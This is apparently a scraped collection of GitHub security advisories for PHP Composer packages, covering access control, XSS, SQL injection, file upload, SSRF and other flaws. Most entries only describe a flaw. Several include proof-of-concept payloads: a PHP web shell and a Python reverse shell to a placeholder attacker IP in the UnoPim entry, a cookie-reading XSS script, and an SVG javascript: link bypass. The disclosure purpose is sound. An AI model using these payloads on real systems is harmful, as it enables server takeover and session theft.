deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-8p2f-fx4q-75cx
Package: unopim/unopim (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control, CWE-862: Missing Authorization
Vulnerable versions: <= 0.3.0
Patched in: 0.3.1

Summary: UnoPim has Broken Access Control

Details:
### Summary
In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

**Severity**: High CVSS Score 8.1 (CVSS 3.1 Vector: [AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H&version=3.1))
**Category**: Broken Access Control / Missing Authorization (OWASP A01:2021)
**Impact**: Unauthorized product deletion -> data loss, possible business disruption

### Affected Behavior
**Single delete (enforced):**
**DELETE** `/admin/catalog/products/{id}` returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

**Mass delete (not enforced):**
**POST** `/admin/catalog/products/mass-delete` allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

### PoC
A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

### Impact
Unauthorized product deletion -> data loss, possible business disruption
GitHub Security Advisory: GHSA-v22v-xwh7-2vrm
Package: unopim/unopim (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 0.2.0
Patched in: 0.2.1

Summary: UnoPim vulnerable to remote code execution through Arbitrary File upload

Details:
### Summary:
Affected Functionality: **Image upload at User creation**
Endpoint: `/admin/settings/users/create`

### Details
The image upload at the user creation feature performs only client side file type validation.
A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. 
Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:
```
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
```

### PoC
 1. Upload an image file as profile picture during user creation , now capture the request and modify.
 File content: ```<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>```
 File name: poc.php
 Content-Type can be any, doesn't matter. 
 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
 // pass the command to run as parameter value for `cmd`, example running `ls` command on the system

Likewise the following reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system
Command:
```
python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",7000));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn("sh")%27
```
// Make sure `netcat` is running on port `7000`
// change `IP` accordingly

### Impact
Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.
Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn


### Recommendation:
Extension Validation: Whitelist allowed extensions. ( use `endswith()` check rather than `contains()` as an attacker can bypass such a restriction with filename: poc.jpg.php
GitHub Security Advisory: GHSA-rh9f-gr6q-mpc4
Package: moonshine/moonshine (COMPOSER)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.12.4
Patched in: 3.12.14

Summary: moonshine Stored Cross-Site Scripting Vulnerability in Create Admin

Details:
A stored cross-site scripting (XSS) vulnerability in the Create Admin function of MoonShine v3.12.3 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.
GitHub Security Advisory: GHSA-p632-58pp-c9xg
Package: moonshine/moonshine (COMPOSER)
Severity: MODERATE (CVSS 4.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.12.4
Patched in: 3.12.4

Summary: moonshine Stored Cross-Site Scripting Vulnerability in Create Article

Details:
A stored cross-site scripting (XSS) vulnerability in the Create Article function of MoonShine v3.12.3 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Link parameter.
GitHub Security Advisory: GHSA-9g9j-3w64-3cjh
Package: moonshine/moonshine (COMPOSER)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 3.12.5
Patched in: unpatched

Summary: MoonShine SQL Injection Vulnerability

Details:
MoonShine v3.12.5 was discovered to contain a SQL injection vulnerability via the Data parameter under the Blog module.
GitHub Security Advisory: GHSA-8xfq-7f6m-mpmf
Package: moonshine/moonshine (COMPOSER)
Severity: MODERATE (CVSS 4.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 3.12.5
Patched in: 3.12.5

Summary: MoonShine Arbitrary File Upload Vulnerability

Details:
An arbitrary file upload vulnerability in MoonShine v3.12.4 allows attackers to execute arbitrary code via uploading a crafted SVG file.
GitHub Security Advisory: GHSA-35c5-67fm-cpcp
Package: johnbillion/wp-crontrol (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.17.0, < 1.19.2
Patched in: 1.19.2

Summary: WP Crontrol Authenticated (Administrator+) plugin vulnerable to Blind Server-Side Request Forgery

Details:
### Impact

The WP Crontrol plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in versions 1.17.0 to 1.19.1 via the `wp_remote_request()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

It is not possible for a user without Administrator level access to exploit this weakness. It is not possible for an Administrator performing an attack to see the HTTP response to the request to their chosen URL, nor is it possible for them to time the response.

### Patches

WP Crontrol version 1.19.2 makes the following changes to harden the URL cron event feature:

* URLs are now validated for safety with the `wp_http_validate_url()` function upon saving. The user is informed if they save a cron event containing a URL that is not considered safe, and the HTTP request will not trigger when the event runs.
* HTTP requests are now performed via the `wp_safe_remote_request()` function in place of `wp_remote_request()`. This prevents an SSRF being performed.

### Workarounds

Update the WP Crontrol plugin for WordPress to version 1.19.2 or later. If you are not able to update immediately, remove any Administrator level users who are not fully trusted.

### FAQ

#### Is my site at risk?

Your site is only at risk if an untrustworthy Administrator on your site decides to exploit this weakness in order to blindly send HTTP requests, either to external URLs or to internal services running on your server. These requests can only be performed asynchronously, which means the HTTP response cannot be seen nor timed, which significantly restricts the practical methods of exploiting this weakness.

Separately, it is not possible for an attacker with database level access on your server to tamper with a URL cron event and perform an SSRF due to [the anti-tampering measures built in to WP Crontrol](https://wp-crontrol.com/docs/url-cron-events/).

### Thanks

This issue was identified by [Jonas Benjamin Friedli](https://github.com/jFriedli) and reported to the Wordfence Intelligence Bug Bounty Program.

[Security bugs should be reported through the official WP Crontrol Vulnerability Disclosure Program on Patchstack](https://patchstack.com/database/vdp/wp-crontrol). The Patchstack team helps validate, triage, and handle any security vulnerabilities.
GitHub Security Advisory: GHSA-vxq6-8cwm-wj99
Package: librenms/librenms (COMPOSER)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 25.8.0
Patched in: 25.8.0

Summary: LibreNMS allows stored XSS in Alert Template name field

Details:
### Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.6.0) in the Alert Template creation feature. This allows a user with the **admin role** to inject malicious JavaScript, which will be executed when the template is rendered, potentially compromising other admin accounts.

---
### Details

In the LibreNMS web UI, when a user with the **admin role** visits `/templates` and clicks **"Create new alert template"**, the **"Template name"** field fails to properly sanitize input. By inserting a payload like:

```
&lt;script>alert(document.cookie)&lt;/script> 
```

and filling the other fields with arbitrary content (e.g., `test`), once the template is saved, the script is executed. This confirms that user input is stored and later rendered without proper output encoding.

This vulnerability can be exploited for session hijacking, data theft, or other malicious actions targeting other admin users.

---
### PoC

1. Log in to LibreNMS using an account with the **admin role**.
2. Navigate to: `http://localhost:8000/templates`.
3. Click the **"Create new alert template"** button.
4. Input the following into the **Template name** field:

   ```
   &lt;script>alert(document.cookie)&lt;/script>
   ```
5. Fill the remaining fields (`Template`, `Alert title`, `Recovery title`) with arbitrary content such as `test`.
6. Click **"Create template"**.
7. Upon saving, a JavaScript alert pops up, confirming the stored XSS is triggered.
<img width="1574" height="848" alt="image" src="https://github.com/user-attachments/assets/bc482874-c47e-48e3-83b6-cb4a9dcf4a53" />

---
### Impact

 **Type**: Stored Cross-Site Scripting (XSS)
 **Affected users**: Only accounts with the **admin role** who access the Alert Templates page (`http://localhost:8000/templates`) are affected.
 **Attackers need**: Authenticated admin-level access.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/project-community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.0.2
Patched in: unpatched

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.4.8
Patched in: unpatched

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.4.7-p1, < 2.4.7-p7
Patched in: 2.4.7-p7

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.4.6-p1, < 2.4.6-p12
Patched in: 2.4.6-p12

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.4.5-p1, < 2.4.5-p14
Patched in: 2.4.5-p14

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-8mq8-c243-2335
Package: magento/community-edition (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.4.4-p15
Patched in: 2.4.4-p15

Summary: Magento Cross-site Scripting vulnerability

Details:
Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.
GitHub Security Advisory: GHSA-vq9x-w82r-rhmc
Package: soosyze/soosyze (COMPOSER)
Severity: HIGH (CVSS 5.4)
CWE: CWE-307: Improper Restriction of Excessive Authentication Attempts
Vulnerable versions: <= 2.0.0
Patched in: unpatched

Summary: Soosyze CMS's /user/login endpoint missing rate-limiting and lockout mechanisms

Details:
Soosyze CMS 2.0 allows brute-force login attacks via the /user/login endpoint due to missing rate-limiting and lockout mechanisms. An attacker can repeatedly submit login attempts without restrictions, potentially gaining unauthorized administrative access. This vulnerability corresponds to CWE-307: Improper Restriction of Excessive Authentication Attempts.
GitHub Security Advisory: GHSA-22wq-q86m-83fh
Package: enshrined/svg-sanitize (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 0.22.0
Patched in: 0.22.0

Summary: svg-sanitizer Bypasses Attribute Sanitization

Details:
#### Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains.

#### Proof-of-concept
_provided by azizk_

```
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>
```

#### Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.
GitHub Security Advisory: GHSA-2vcf-qxv3-2mgw
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 5.5.8, < 5.8.4
Patched in: 5.8.4

Summary: Craft CMS has a theoretical bypass for CVE-2025-23209

Details:
**Pre-requisites:**

* Have a compromised security key (https://craftcms.com/knowledge-base/securing-craft#keep-your-secrets-secret)
* Somehow, manage to create an arbitrary file in Craft’s `/storage/backups` folder.

With those two pieces in place, you could create a specific, malicious request to the `/updater/restore-db` endpoint to execute CLI commands remotely.

Fixed in https://github.com/craftcms/cms/commit/a19d46be78a9ca1ea474012a10e97bed0d787f57

-----

Reported by Marco O. (segfault)
GitHub Security Advisory: GHSA-2vcf-qxv3-2mgw
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 4.13.8, < 4.16.3
Patched in: 4.16.3

Summary: Craft CMS has a theoretical bypass for CVE-2025-23209

Details:
**Pre-requisites:**

* Have a compromised security key (https://craftcms.com/knowledge-base/securing-craft#keep-your-secrets-secret)
* Somehow, manage to create an arbitrary file in Craft’s `/storage/backups` folder.

With those two pieces in place, you could create a specific, malicious request to the `/updater/restore-db` endpoint to execute CLI commands remotely.

Fixed in https://github.com/craftcms/cms/commit/a19d46be78a9ca1ea474012a10e97bed0d787f57

-----

Reported by Marco O. (segfault)
GitHub Security Advisory: GHSA-27gv-mg7w-mm34
Package: shopware/platform (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: <= 6.6.10.4
Patched in: unpatched

Summary: Shopware race condition bypasses voucher restrictions

Details:
A race condition vulnerability has been identified in Shopware's voucher system of Shopware v6.6.10.4 that allows attackers to bypass intended voucher restrictions and exceed usage limitations.
GitHub Security Advisory: GHSA-c5xf-rmv4-j85h
Package: concrete5/concrete5 (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 9.0.0RC1, < 9.4.3
Patched in: 9.4.3

Summary: Concrete CMS is vulnerable to Stored XSS from Home Folder on Members Dashboard page

Details:
Concrete CMS versions 9 through 9.4.2 are vulnerable to Stored XSS from Home Folder on Members Dashboard page.  Version 8 was not affected. A rogue admin could set up a malicious folder containing XSS to which users could be directed upon login.
GitHub Security Advisory: GHSA-4pcg-pjp5-3mc6
Package: concrete5/concrete5 (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 9.0.0RC1, < 9.4.3
Patched in: 9.4.3

Summary: Concrete CMS vulnerable to Reflected Cross-Site Scripting (XSS) in Conversation Messages Dashboard Page

Details:
Concrete CMS 9 to 9.4.2 and versions below 8.5.21 are vulnerable to Reflected Cross-Site Scripting (XSS) in the Conversation Messages Dashboard Page. Unsanitized input could cause theft of session cookies or tokens, defacement of web content, redirection to malicious sites, and (if victim is an admin), the execution of unauthorized actions.
GitHub Security Advisory: GHSA-4pcg-pjp5-3mc6
Package: concrete5/concrete5 (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 8.5.21
Patched in: 8.5.21

Summary: Concrete CMS vulnerable to Reflected Cross-Site Scripting (XSS) in Conversation Messages Dashboard Page

Details:
Concrete CMS 9 to 9.4.2 and versions below 8.5.21 are vulnerable to Reflected Cross-Site Scripting (XSS) in the Conversation Messages Dashboard Page. Unsanitized input could cause theft of session cookies or tokens, defacement of web content, redirection to malicious sites, and (if victim is an admin), the execution of unauthorized actions.
GitHub Security Advisory: GHSA-mrwc-mvr8-9xq5
Package: topthink/framework (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 5.1.41
Patched in: unpatched

Summary: ThinkPHP Path Traversal Vulnerability

Details:
An issue in ThinkPHP Framework v.5.1 allows a remote attacker to execute arbitrary code via the routecheck function.
GitHub Security Advisory: GHSA-jxhh-4648-vpp3
Package: setasign/fpdi (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 2.6.4
Patched in: 2.6.4

Summary: FPDI allows Memory Exhaustion (OOM) in PDF Parser which leads to Denial of Service

Details:
### Impact
This is a significant Denial of Service (DoS) vulnerability. Any application that uses FPDI to process
user-supplied PDF files is at risk. An attacker can upload a small, malicious PDF file that will cause
the server-side script to crash due to memory exhaustion. Repeated attacks can lead to sustained
service unavailability.

### Patches
Fixed as of version 2.6.4

### Workarounds
No.